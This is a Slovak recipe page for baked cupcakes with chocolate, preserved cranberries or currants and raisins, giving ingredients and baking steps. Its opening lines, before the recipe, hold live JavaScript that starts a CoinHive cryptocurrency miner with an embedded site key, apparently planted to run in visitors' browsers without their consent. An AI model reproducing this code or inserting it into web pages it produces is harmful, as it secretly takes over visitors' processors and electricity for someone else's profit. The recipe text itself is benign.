

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebuje: 200 g masla, 300 g kryštálového cukru, 4 vanilínové cukry, 4 vajcia, štipku soli, 500 g múky PK, 1 prášok do pečiva, 300 ml mlieka, 1 pohár zaváraných brusníc (ríbezlí), 150 – 250 g čokolády, 100 g hrozienok (môžeme ich dať na pár minút do rumu ), košíčky na pečenie.

Postup: Rozpustené maslo, cukor, vanilínový cukor a štipku soli vyšľaháme a za šľahania po jednom pridávame vajíčka. Potom pridáme preosiatu múku s práškom do pečiva a jemne premiešame. Nakoniec pridáme mlieko a už do hotového cesta dáme čokoládu, brusnice a hrozienka. Pečieme v rúre na 180° C cca 20 minút.